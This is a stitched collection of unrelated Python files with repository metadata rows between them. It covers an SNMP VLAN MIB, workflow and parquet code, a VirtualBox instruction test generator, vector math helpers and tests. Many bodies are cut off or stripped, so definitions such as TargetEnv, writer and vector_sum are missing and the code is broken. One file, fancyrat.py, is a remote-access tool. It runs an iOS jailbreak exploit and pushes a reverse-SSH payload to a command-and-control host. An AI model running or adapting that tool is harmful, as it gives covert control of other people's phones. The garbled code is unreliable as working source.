swPortBaseVlanDefaultDesc = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 2, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 12))).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanDefaultDesc.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanDefaultDesc.setDescription('A textual description of the Port-Base Vlan.')
swPortBaseVlanDefaultPortList = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 2, 1, 3), PortList()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanDefaultPortList.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanDefaultPortList.setDescription('This object indicates the port member set of the specified Vlan. Each Vlan has a octect string to indicate the port map. The most significant bit represents the lowest numbered port, and the least significant bit represents the highest numbered port.')
swPortBaseVlanDefaultPortNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 2, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanDefaultPortNumber.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanDefaultPortNumber.setDescription('This object indicates the number of ports of the entry.')
swPortBaseVlanConfigTable = MibTable((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 3), )
if mibBuilder.loadTexts: swPortBaseVlanConfigTable.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanConfigTable.setDescription("A table that contains Port-Based VLAN list entries for the switch. The device can't support port overlapping in Port-Based VLAN.")
swPortBaseVlanConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 3, 1), ).setIndexNames((0, "SW-VLAN-MIB", "swPortBaseVlanConfigPvid"))
if mibBuilder.loadTexts: swPortBaseVlanConfigEntry.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanConfigEntry.setDescription('A list of information about a specific Port-Based VLAN configuration in swPortBaseVlanConfigTable.')
swPortBaseVlanConfigPvid = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 3, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(2, 12))).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanConfigPvid.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanConfigPvid.setDescription('This object indicates the Port-Base Vlan ID. There are up to 11 entries for current product now. The object range varies from 2 to 12.')
swPortBaseVlanConfigDesc = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 3, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 12))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: swPortBaseVlanConfigDesc.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanConfigDesc.setDescription('A textual description of the Port-Base Vlan. It cannot be a null string. And each description must be unique in the table.')
swPortBaseVlanConfigPortList = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 3, 1, 3), PortList()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: swPortBaseVlanConfigPortList.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanConfigPortList.setDescription('This object indicates which ports are belong to the Vlan. Each Vlan has a octect string to indicate with port map. The most significant bit represents the lowest numbered port, and the least significant bit represents the highest numbered port.')
swPortBaseVlanConfigPortNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 3, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanConfigPortNumber.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanConfigPortNumber.setDescription('This object indicates the number of ports of the entry.')
mibBuilder.exportSymbols("SW-VLAN-MIB", marconi=marconi, swPortBaseVlanDefaultVlanEntry=swPortBaseVlanDefaultVlanEntry, swVlan=swVlan, swPortBaseVlanConfigTable=swPortBaseVlanConfigTable, golf=golf, swVlanCtrl=swVlanCtrl, swMacBaseVlanAddrEntry=swMacBaseVlanAddrEntry, swPortBaseVlanDefaultDesc=swPortBaseVlanDefaultDesc, swMacBaseVlanAddr=swMacBaseVlanAddr, swMacBaseVlanMacMember=swMacBaseVlanMacMember, swPortBaseVlanConfigPortNumber=swPortBaseVlanConfigPortNumber, swPortBaseVlanDefaultVlanTable=swPortBaseVlanDefaultVlanTable, swPortBaseVlan=swPortBaseVlan, swMacBaseVlanAddrMaxNum=swMacBaseVlanAddrMaxNum, swL2Mgmt=swL2Mgmt, dlinkcommon=dlinkcommon, swPortBaseVlanConfigEntry=swPortBaseVlanConfigEntry, swPortBaseVlanConfigPortList=swPortBaseVlanConfigPortList, swVlanSnmpPortVlan=swVlanSnmpPortVlan, swMacBaseVlanCtrlState=swMacBaseVlanCtrlState, PortList=PortList, external=external, swMacBaseVlanAddrStatus=swMacBaseVlanAddrStatus, swPortBaseVlanTotalNum=swPortBaseVlanTotalNum, swMacBaseVlan=swMacBaseVlan, swVlanInfoStatus=swVlanInfoStatus, swMacBaseVlanDesc=swMacBaseVlanDesc, swPortBaseVlanDefaultPvid=swPortBaseVlanDefaultPvid, dlink=dlink, MacAddress=MacAddress, swVlanCtrlMode=swVlanCtrlMode, golfproducts=golfproducts, systems=systems, swMacBaseVlanCtrlTable=swMacBaseVlanCtrlTable, swMacBaseVlanAddrVlanDesc=swMacBaseVlanAddrVlanDesc, marconi_mgmt=marconi_mgmt, swMacBaseVlanMaxNum=swMacBaseVlanMaxNum, swMacBaseVlanCtrlEntry=swMacBaseVlanCtrlEntry, swPortBaseVlanDefaultPortList=swPortBaseVlanDefaultPortList, swMacBaseVlanAddrTable=swMacBaseVlanAddrTable, swPortBaseVlanConfigPvid=swPortBaseVlanConfigPvid, swPortBaseVlanConfigDesc=swPortBaseVlanConfigDesc, VlanIndex=VlanIndex, swPortBaseVlanDefaultPortNumber=swPortBaseVlanDefaultPortNumber, golfcommon=golfcommon, swMacBaseVlanAddrState=swMacBaseVlanAddrState, es2000Mgmt=es2000Mgmt, es2000=es2000, swMacBaseVlanInfo=swMacBaseVlanInfo)
| 143.507692 | 1,908 | 0.767206 |
3696c582aaf438a2c947387898295abd07a07bfe | 1,007 | py | Python | examples/artifact_with_fanout.py | bchalk101/hera-workflows | a3e9262f996ba477a35850c7e4b18ce3d5749687 | [
"MIT"
] | null | null | null | examples/artifact_with_fanout.py | bchalk101/hera-workflows | a3e9262f996ba477a35850c7e4b18ce3d5749687 | [
"MIT"
] | null | null | null | examples/artifact_with_fanout.py | bchalk101/hera-workflows | a3e9262f996ba477a35850c7e4b18ce3d5749687 | [
"MIT"
] | null | null | null | from hera import (
InputArtifact,
InputFrom,
OutputArtifact,
Task,
Workflow,
WorkflowService,
)
ws = WorkflowService(host='https://my-argo-server.com', token='my-auth-token')
w = Workflow('artifact-with-fanout', ws)
w_t = Task('writer', writer, output_artifacts=[OutputArtifact(name='test', path='/file')])
f_t = Task(
'fanout',
fanout,
input_artifacts=[InputArtifact(from_task='writer', artifact_name='test', name='test', path='/file')],
)
c_t = Task('consumer', consumer, input_from=InputFrom(name='fanout', parameters=['i']))
w_t >> f_t >> c_t
w.add_tasks(w_t, f_t, c_t)
w.create()
| 21.891304 | 105 | 0.61569 |
3696d9a0ae665b8ea6b0dd59b9953426ce1a1124 | 424 | py | Python | fastparquet/__init__.py | jorisvandenbossche/fastparquet | e783eca9499883a6f025f18cce709c226e21402f | [
"Apache-2.0"
] | null | null | null | fastparquet/__init__.py | jorisvandenbossche/fastparquet | e783eca9499883a6f025f18cce709c226e21402f | [
"Apache-2.0"
] | null | null | null | fastparquet/__init__.py | jorisvandenbossche/fastparquet | e783eca9499883a6f025f18cce709c226e21402f | [
"Apache-2.0"
] | null | null | null | """parquet - read parquet files."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from .thrift_structures import parquet_thrift
from .core import read_thrift
from .writer import write
from . import core, schema, converted_types, api
from .api import ParquetFile
from .util import ParquetException
__version__ = "0.3.2"
| 28.266667 | 48 | 0.823113 |
36979d30250b5ace4c5161cd349e582790c807b4 | 96,838 | py | Python | third_party/virtualbox/src/VBox/VMM/testcase/Instructions/InstructionTestGen.py | Fimbure/icebox-1 | 0b81992a53e1b410955ca89bdb6f8169d6f2da86 | [
"MIT"
] | 521 | 2019-03-29T15:44:08.000Z | 2022-03-22T09:46:19.000Z | third_party/virtualbox/src/VBox/VMM/testcase/Instructions/InstructionTestGen.py | Fimbure/icebox-1 | 0b81992a53e1b410955ca89bdb6f8169d6f2da86 | [
"MIT"
] | 30 | 2019-06-04T17:00:49.000Z | 2021-09-08T20:44:19.000Z | third_party/virtualbox/src/VBox/VMM/testcase/Instructions/InstructionTestGen.py | Fimbure/icebox-1 | 0b81992a53e1b410955ca89bdb6f8169d6f2da86 | [
"MIT"
] | 99 | 2019-03-29T16:04:13.000Z | 2022-03-28T16:59:34.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# $Id: InstructionTestGen.py $
"""
Instruction Test Generator.
"""
from __future__ import print_function;
__copyright__ = \
"""
Copyright (C) 2012-2017 Oracle Corporation
This file is part of VirtualBox Open Source Edition (OSE), as
available from http://www.virtualbox.org. This file is free software;
you can redistribute it and/or modify it under the terms of the GNU
General Public License (GPL) as published by the Free Software
Foundation, in version 2 as it comes in the "COPYING" file of the
VirtualBox OSE distribution. VirtualBox OSE is distributed in the
hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
"""
__version__ = "$Revision: 118412 $";
# pylint: disable=C0103,R0913
# Standard python imports.
import io;
import os;
from optparse import OptionParser
import random;
import sys;
## @name Exit codes
## @{
RTEXITCODE_SUCCESS = 0;
RTEXITCODE_SYNTAX = 2;
## @}
## @name Various C macros we're used to.
## @{
UINT8_MAX = 0xff
UINT16_MAX = 0xffff
UINT32_MAX = 0xffffffff
UINT64_MAX = 0xffffffffffffffff
def RT_BIT_32(iBit): # pylint: disable=C0103
""" 32-bit one bit mask. """
return 1 << iBit;
def RT_BIT_64(iBit): # pylint: disable=C0103
""" 64-bit one bit mask. """
return 1 << iBit;
## @}
## @name ModR/M
## @{
X86_MODRM_RM_MASK = 0x07;
X86_MODRM_REG_MASK = 0x38;
X86_MODRM_REG_SMASK = 0x07;
X86_MODRM_REG_SHIFT = 3;
X86_MODRM_MOD_MASK = 0xc0;
X86_MODRM_MOD_SMASK = 0x03;
X86_MODRM_MOD_SHIFT = 6;
## @}
## @name SIB
## @{
X86_SIB_BASE_MASK = 0x07;
X86_SIB_INDEX_MASK = 0x38;
X86_SIB_INDEX_SMASK = 0x07;
X86_SIB_INDEX_SHIFT = 3;
X86_SIB_SCALE_MASK = 0xc0;
X86_SIB_SCALE_SMASK = 0x03;
X86_SIB_SCALE_SHIFT = 6;
## @}
## @name Prefixes
## @
X86_OP_PRF_CS = 0x2e;
X86_OP_PRF_SS = 0x36;
X86_OP_PRF_DS = 0x3e;
X86_OP_PRF_ES = 0x26;
X86_OP_PRF_FS = 0x64;
X86_OP_PRF_GS = 0x65;
X86_OP_PRF_SIZE_OP = 0x66;
X86_OP_PRF_SIZE_ADDR = 0x67;
X86_OP_PRF_LOCK = 0xf0;
X86_OP_PRF_REPNZ = 0xf2;
X86_OP_PRF_REPZ = 0xf3;
X86_OP_REX_B = 0x41;
X86_OP_REX_X = 0x42;
X86_OP_REX_R = 0x44;
X86_OP_REX_W = 0x48;
## @}
## @name General registers
## @
X86_GREG_xAX = 0
X86_GREG_xCX = 1
X86_GREG_xDX = 2
X86_GREG_xBX = 3
X86_GREG_xSP = 4
X86_GREG_xBP = 5
X86_GREG_xSI = 6
X86_GREG_xDI = 7
X86_GREG_x8 = 8
X86_GREG_x9 = 9
X86_GREG_x10 = 10
X86_GREG_x11 = 11
X86_GREG_x12 = 12
X86_GREG_x13 = 13
X86_GREG_x14 = 14
X86_GREG_x15 = 15
## @}
## @name Register names.
## @{
g_asGRegs64NoSp = ('rax', 'rcx', 'rdx', 'rbx', None, 'rbp', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15');
g_asGRegs64 = ('rax', 'rcx', 'rdx', 'rbx', 'rsp', 'rbp', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15');
g_asGRegs32NoSp = ('eax', 'ecx', 'edx', 'ebx', None, 'ebp', 'esi', 'edi',
'r8d', 'r9d', 'r10d', 'r11d', 'r12d', 'r13d', 'r14d', 'r15d');
g_asGRegs32 = ('eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi',
'r8d', 'r9d', 'r10d', 'r11d', 'r12d', 'r13d', 'r14d', 'r15d');
g_asGRegs16NoSp = ('ax', 'cx', 'dx', 'bx', None, 'bp', 'si', 'di',
'r8w', 'r9w', 'r10w', 'r11w', 'r12w', 'r13w', 'r14w', 'r15w');
g_asGRegs16 = ('ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di',
'r8w', 'r9w', 'r10w', 'r11w', 'r12w', 'r13w', 'r14w', 'r15w');
g_asGRegs8 = ('al', 'cl', 'dl', 'bl', 'ah', 'ch', 'dh', 'bh');
g_asGRegs8Rex = ('al', 'cl', 'dl', 'bl', 'spl', 'bpl', 'sil', 'dil',
'r8b', 'r9b', 'r10b', 'r11b', 'r12b', 'r13b', 'r14b', 'r15b',
'ah', 'ch', 'dh', 'bh');
## @}
## @name EFLAGS/RFLAGS/EFLAGS
## @{
X86_EFL_CF = RT_BIT_32(0);
X86_EFL_CF_BIT = 0;
X86_EFL_1 = RT_BIT_32(1);
X86_EFL_PF = RT_BIT_32(2);
X86_EFL_AF = RT_BIT_32(4);
X86_EFL_AF_BIT = 4;
X86_EFL_ZF = RT_BIT_32(6);
X86_EFL_ZF_BIT = 6;
X86_EFL_SF = RT_BIT_32(7);
X86_EFL_SF_BIT = 7;
X86_EFL_TF = RT_BIT_32(8);
X86_EFL_IF = RT_BIT_32(9);
X86_EFL_DF = RT_BIT_32(10);
X86_EFL_OF = RT_BIT_32(11);
X86_EFL_OF_BIT = 11;
X86_EFL_IOPL = (RT_BIT_32(12) | RT_BIT_32(13));
X86_EFL_NT = RT_BIT_32(14);
X86_EFL_RF = RT_BIT_32(16);
X86_EFL_VM = RT_BIT_32(17);
X86_EFL_AC = RT_BIT_32(18);
X86_EFL_VIF = RT_BIT_32(19);
X86_EFL_VIP = RT_BIT_32(20);
X86_EFL_ID = RT_BIT_32(21);
X86_EFL_LIVE_MASK = 0x003f7fd5;
X86_EFL_RA1_MASK = RT_BIT_32(1);
X86_EFL_IOPL_SHIFT = 12;
X86_EFL_STATUS_BITS = ( X86_EFL_CF | X86_EFL_PF | X86_EFL_AF | X86_EFL_ZF | X86_EFL_SF | X86_EFL_OF );
## @}
## @name Random
## @{
g_iMyRandSeed = int((os.urandom(4)).encode('hex'), 16);
#g_iMyRandSeed = 286523426;
#g_iMyRandSeed = 1994382324;
g_oMyRand = random.Random(g_iMyRandSeed);
#g_oMyRand = random.SystemRandom();
def randU8():
""" Unsigned 8-bit random number. """
return g_oMyRand.getrandbits(8);
def randU16():
""" Unsigned 16-bit random number. """
return g_oMyRand.getrandbits(16);
def randU32():
""" Unsigned 32-bit random number. """
return g_oMyRand.getrandbits(32);
def randU64():
""" Unsigned 64-bit random number. """
return g_oMyRand.getrandbits(64);
def randUxx(cBits):
""" Unsigned 8-, 16-, 32-, or 64-bit random number. """
return g_oMyRand.getrandbits(cBits);
def randSxx(cBits):
""" Signed 8-, 16-, 32-, or 64-bit random number. """
uVal = randUxx(cBits);
iRet = uVal & ((1 << (cBits - 1)) - 1);
if iRet != uVal:
iRet = -iRet;
return iRet;
def randUxxList(cBits, cElements):
""" List of unsigned 8-, 16-, 32-, or 64-bit random numbers. """
return [randUxx(cBits) for _ in range(cElements)];
## @}
## @name Instruction Emitter Helpers
## @{
def calcRexPrefixForTwoModRmRegs(iReg, iRm, bOtherRexPrefixes = 0):
"""
Calculates a rex prefix if neccessary given the two registers
and optional rex size prefixes.
Returns an empty array if not necessary.
"""
bRex = bOtherRexPrefixes;
if iReg >= 8:
bRex |= X86_OP_REX_R;
if iRm >= 8:
bRex |= X86_OP_REX_B;
if bRex == 0:
return [];
return [bRex,];
def calcModRmForTwoRegs(iReg, iRm):
"""
Calculate the RM byte for two registers.
Returns an array with one byte in it.
"""
bRm = (0x3 << X86_MODRM_MOD_SHIFT) \
| ((iReg << X86_MODRM_REG_SHIFT) & X86_MODRM_REG_MASK) \
| (iRm & X86_MODRM_RM_MASK);
return [bRm,];
## @}
## @name Misc
## @{
def convU32ToSigned(u32):
""" Converts a 32-bit unsigned value to 32-bit signed. """
if u32 < 0x80000000:
return u32;
return u32 - UINT32_MAX - 1;
def rotateLeftUxx(cBits, uVal, cShift):
""" Rotate a xx-bit wide unsigned number to the left. """
assert cShift < cBits;
if cBits == 16:
uMask = UINT16_MAX;
elif cBits == 32:
uMask = UINT32_MAX;
elif cBits == 64:
uMask = UINT64_MAX;
else:
assert cBits == 8;
uMask = UINT8_MAX;
uVal &= uMask;
uRet = (uVal << cShift) & uMask;
uRet |= (uVal >> (cBits - cShift));
return uRet;
def rotateRightUxx(cBits, uVal, cShift):
""" Rotate a xx-bit wide unsigned number to the right. """
assert cShift < cBits;
if cBits == 16:
uMask = UINT16_MAX;
elif cBits == 32:
uMask = UINT32_MAX;
elif cBits == 64:
uMask = UINT64_MAX;
else:
assert cBits == 8;
uMask = UINT8_MAX;
uVal &= uMask;
uRet = (uVal >> cShift);
uRet |= (uVal << (cBits - cShift)) & uMask;
return uRet;
def gregName(iReg, cBits, fRexByteRegs = True):
""" Gets the name of a general register by index and width. """
if cBits == 64:
return g_asGRegs64[iReg];
if cBits == 32:
return g_asGRegs32[iReg];
if cBits == 16:
return g_asGRegs16[iReg];
assert cBits == 8;
if fRexByteRegs:
return g_asGRegs8Rex[iReg];
return g_asGRegs8[iReg];
## @}
## Target environments.
g_dTargetEnvs = {
'iprt-r3-32': TargetEnv('iprt-r3-32', TargetEnv.ksInstrSet_32, TargetEnv.ksCpuMode_Protect, 3),
'iprt-r3-64': TargetEnv('iprt-r3-64', TargetEnv.ksInstrSet_64, TargetEnv.ksCpuMode_Long, 3),
'bs2-r0-64': TargetEnv('bs2-r0-64', TargetEnv.ksInstrSet_64, TargetEnv.ksCpuMode_Long, 0),
'bs2-r0-64-big': TargetEnv('bs2-r0-64-big', TargetEnv.ksInstrSet_64, TargetEnv.ksCpuMode_Long, 0),
'bs2-r0-32-big': TargetEnv('bs2-r0-32-big', TargetEnv.ksInstrSet_32, TargetEnv.ksCpuMode_Protect, 0),
};
##
# Instruction Tests.
#
g_aoInstructionTests = [
InstrTest_Mov_Gv_Ev(),
InstrTest_MovSxD_Gv_Ev(),
InstrTest_DivIDiv(fIsIDiv = False),
InstrTest_DivIDiv(fIsIDiv = True),
InstrTest_DaaDas(fIsDas = False),
InstrTest_DaaDas(fIsDas = True),
];
if __name__ == '__main__':
sys.exit(InstructionTestGen.main());
| 43.23125 | 130 | 0.517132 |
3698ef5864ca5ca9b604faa7dd2e31ba6fa54aa7 | 6,169 | py | Python | bann/b_data_functions/pytorch/shared_memory_interface.py | arturOnRails/BANN | 027af04349304941fb73c2ede502aca4b76f1ad1 | [
"MIT"
] | null | null | null | bann/b_data_functions/pytorch/shared_memory_interface.py | arturOnRails/BANN | 027af04349304941fb73c2ede502aca4b76f1ad1 | [
"MIT"
] | null | null | null | bann/b_data_functions/pytorch/shared_memory_interface.py | arturOnRails/BANN | 027af04349304941fb73c2ede502aca4b76f1ad1 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
""".. moduleauthor:: Artur Lissin"""
import abc
from copy import copy
from dataclasses import dataclass
from multiprocessing.managers import SharedMemoryManager
from multiprocessing.shared_memory import SharedMemory
from typing import Tuple, List, Optional, final, TypeVar, Generic
from torch.utils.data import Dataset
import numpy as np # type: ignore
from bann.b_data_functions.errors.custom_erors import KnownErrorBannData
_TypD = TypeVar('_TypD')
| 32.468421 | 92 | 0.681796 |
36990bef47fde53e2358b6c735c82b0360a40313 | 1,090 | py | Python | packages/python/yap_kernel/yap_kernel/tests/test_io.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 90 | 2015-03-09T01:24:15.000Z | 2022-02-24T13:56:25.000Z | packages/python/yap_kernel/yap_kernel/tests/test_io.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 52 | 2016-02-14T08:59:37.000Z | 2022-03-14T16:39:35.000Z | packages/python/yap_kernel/yap_kernel/tests/test_io.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 27 | 2015-11-19T02:45:49.000Z | 2021-11-25T19:47:58.000Z | """Test IO capturing functionality"""
import io
import zmq
from jupyter_client.session import Session
from yap_kernel.iostream import IOPubThread, OutStream
import nose.tools as nt
def test_io_api():
"""Test that wrapped stdout has the same API as a normal TextIO object"""
session = Session()
ctx = zmq.Context()
pub = ctx.socket(zmq.PUB)
thread = IOPubThread(pub)
thread.start()
stream = OutStream(session, thread, 'stdout')
# cleanup unused zmq objects before we start testing
thread.stop()
thread.close()
ctx.term()
assert stream.errors is None
assert not stream.isatty()
with nt.assert_raises(io.UnsupportedOperation):
stream.detach()
with nt.assert_raises(io.UnsupportedOperation):
next(stream)
with nt.assert_raises(io.UnsupportedOperation):
stream.read()
with nt.assert_raises(io.UnsupportedOperation):
stream.readline()
with nt.assert_raises(io.UnsupportedOperation):
stream.seek()
with nt.assert_raises(io.UnsupportedOperation):
stream.tell()
| 25.952381 | 77 | 0.694495 |
369bd233d08fbdcd2a214a81e7c5f52a9ce6ed4e | 551 | py | Python | OSIx/modules/temp_file_manager.py | guibacellar/OSIx | 058714c1870bde0d794452b32ad0e62d544bdd90 | [
"Apache-2.0"
] | 1 | 2021-08-17T18:45:07.000Z | 2021-08-17T18:45:07.000Z | OSIx/modules/temp_file_manager.py | guibacellar/OSIx | 058714c1870bde0d794452b32ad0e62d544bdd90 | [
"Apache-2.0"
] | 12 | 2021-08-11T18:24:32.000Z | 2021-08-23T14:57:36.000Z | OSIx/modules/temp_file_manager.py | guibacellar/OSIx | 058714c1870bde0d794452b32ad0e62d544bdd90 | [
"Apache-2.0"
] | null | null | null | """Temporary Files Manager."""
import logging
from configparser import ConfigParser
from typing import Dict
from OSIx.core.base_module import BaseModule
from OSIx.core.temp_file import TempFileHandler
logger = logging.getLogger()
| 22.04 | 72 | 0.69873 |
369d292bf15ec11e1c3a4ad6d68821a207a8fc33 | 1,124 | py | Python | vectors/vectormath.py | sbanwart/data-science | 07f568e5f55a43339a9dca3ba3a13b263f54a37c | [
"MIT"
] | null | null | null | vectors/vectormath.py | sbanwart/data-science | 07f568e5f55a43339a9dca3ba3a13b263f54a37c | [
"MIT"
] | null | null | null | vectors/vectormath.py | sbanwart/data-science | 07f568e5f55a43339a9dca3ba3a13b263f54a37c | [
"MIT"
] | null | null | null | import math
def vector_add(v, w):
"""adds corresponding elements"""
return [v_i + w_i
for v_i, w_i in zip(v, w)]
def vector_subtract(v, w):
"""subtracts corresponding elements"""
return [v_i - w_i
for v_i, w_i in zip(v, w)]
def scalar_multiply(c, v):
"""c is a number, v is a vector"""
return [c * v_i for v_i in v]
def vector_means(vectors):
"""compute the vector whose ith element is the mean of the
ith elements of the input vectors"""
n = len(vectors)
return scalar_multiply(1 / n, vector_sum(vectors))
def dot(v, w):
"""v_1 * w_1 + ... + v_n * w_n"""
return sum(v_i * w_i
for v_i, w_i in zip(v, w))
def sum_of_squares(v):
"""v_1 * v_1 + ... + v_n * v_n"""
return dot(v, v)
def squared_distance(v, w):
"""(v_1 - w_1) ** 2 + ... + (v_n - w_n) ** 2"""
return sum_of_squares(vector_subtract(v, w))
| 25.545455 | 79 | 0.615658 |
369da642edb63cf01850b1f337a064efb7bb43b6 | 2,800 | py | Python | fancyrat.py | avacadoPWN/fancyrat | 477d5cb11a9af4f741770e4790f64884af1d01c3 | [
"MIT"
] | 1 | 2022-02-20T03:52:03.000Z | 2022-02-20T03:52:03.000Z | fancyrat.py | avacadoPWN/fancyrat | 477d5cb11a9af4f741770e4790f64884af1d01c3 | [
"MIT"
] | null | null | null | fancyrat.py | avacadoPWN/fancyrat | 477d5cb11a9af4f741770e4790f64884af1d01c3 | [
"MIT"
] | null | null | null | #!/bin/python3
import exploit
import ui_setup
from time import sleep
checkrain = exploit.Checkrain()
checkrain.REMOTE_SSH_CC = 'kali@fancyrat.moo.com'
window = ui_setup.UI.window
keep_printing=True
while True:
if window['-OUTPUT-'].DisplayText.count('\n') >= 14:
window['-OUTPUT-'].DisplayText = window['-OUTPUT-'].DisplayText.split(
'\n', maxsplit=1)[1]
event, values = window.read(timeout=500)
#print(event)
if event == ui_setup.sg.WINDOW_CLOSED or event == 'Quit':
checkrain.kill()
checkrain.kill_inject()
break
if event == 'PWN' and checkrain.pid() is None and checkrain.isdone() is False:
checkrain.pwn()
#print(checkrain.pid())
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"[*] Exploiting IOS device!\n", text_color='#0ab3d1')
if event == 'Inject' and checkrain.pid() != None and checkrain.inject_pid() is None and checkrain.isdone() is False:
try:
checkrain.inject()
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"[***] Openning shell over USB to IOS device.\n")
try:
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"[*] Sending Reverse SSH payload.....\n",)
if checkrain.reverse_ssh() != True:
raise ValueError("payload_not_sent")
else:
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"[***] Payload sent!!!\n")
except ValueError:
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"[!] Failed to send payload!\n")
checkrain.kill_inject()
except:
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"[!] Unable to open shell over USB on IOS device!\n")
checkrain.kill_inject()
pass
if event == 'Reset':
checkrain.kill()
checkrain.kill_inject()
window['-OUTPUT-'].update('', background_color='#2b2b2b')
if keep_printing is True:
if checkrain.isdone() is True:
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
"\n ($$$$=====WIN====$$$$)\n\n", text_color='#28d1b5')
window['-OUTPUT-'].update(window['-OUTPUT-'].get() +
" \n\n", text_color='#28d1b5')
keep_printing = False
else:
window['-OUTPUT-'].update(window['-OUTPUT-'].get() + checkrain.log.readline())
else:
pass
window.close()
| 35.897436 | 120 | 0.496786 |
369df66a1e15a4a67f881d9565ed02382eda4bee | 1,237 | py | Python | sysinv/sysinv/sysinv/sysinv/tests/helm/test_base.py | albailey/config | 40ebe63d7dfc6a0a03216ebe55ed3ec9cf5410b9 | [
"Apache-2.0"
] | 10 | 2020-02-07T18:57:44.000Z | 2021-09-11T10:29:34.000Z | sysinv/sysinv/sysinv/sysinv/tests/helm/test_base.py | albailey/config | 40ebe63d7dfc6a0a03216ebe55ed3ec9cf5410b9 | [
"Apache-2.0"
] | 1 | 2021-01-14T12:01:55.000Z | 2021-01-14T12:01:55.000Z | sysinv/sysinv/sysinv/sysinv/tests/helm/test_base.py | albailey/config | 40ebe63d7dfc6a0a03216ebe55ed3ec9cf5410b9 | [
"Apache-2.0"
] | 10 | 2020-10-13T08:37:46.000Z | 2022-02-09T00:21:25.000Z | # Copyright (c) 2021 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
import mock
from sysinv.helm.base import BaseHelm
from sysinv.helm.helm import HelmOperator
from sysinv.tests import base as test_base
| 37.484848 | 100 | 0.805174 |
369eb5cfd592210dd63a2cf4b6ab2112394dc2c9 | 612 | py | Python | tests/test_as_decimal.py | lkattis-signal/SignalSDK | f085b9cae0495f4e016b9982df271efc6fd0a8f5 | [
"Apache-2.0"
] | 10 | 2020-09-29T06:36:45.000Z | 2022-03-14T18:15:50.000Z | tests/test_as_decimal.py | lkattis-signal/SignalSDK | f085b9cae0495f4e016b9982df271efc6fd0a8f5 | [
"Apache-2.0"
] | 53 | 2020-10-08T10:05:00.000Z | 2022-03-29T14:21:18.000Z | tests/test_as_decimal.py | lkattis-signal/SignalSDK | f085b9cae0495f4e016b9982df271efc6fd0a8f5 | [
"Apache-2.0"
] | 5 | 2020-09-25T07:48:04.000Z | 2021-11-23T07:08:56.000Z | from decimal import Decimal
from signal_ocean._internals import as_decimal
| 20.4 | 57 | 0.714052 |
369efff06f7a72f84b0e9a781b19f53a96b5ca56 | 1,610 | py | Python | Francisco_Trujillo/Assignments/registration/serverre.py | webguru001/Python-Django-Web | 6264bc4c90ef1432ba0902c76b567cf3caaae221 | [
"MIT"
] | 5 | 2019-05-17T01:30:02.000Z | 2021-06-17T21:02:58.000Z | Francisco_Trujillo/Assignments/registration/serverre.py | curest0x1021/Python-Django-Web | 6264bc4c90ef1432ba0902c76b567cf3caaae221 | [
"MIT"
] | null | null | null | Francisco_Trujillo/Assignments/registration/serverre.py | curest0x1021/Python-Django-Web | 6264bc4c90ef1432ba0902c76b567cf3caaae221 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request, redirect, session, flash
import re
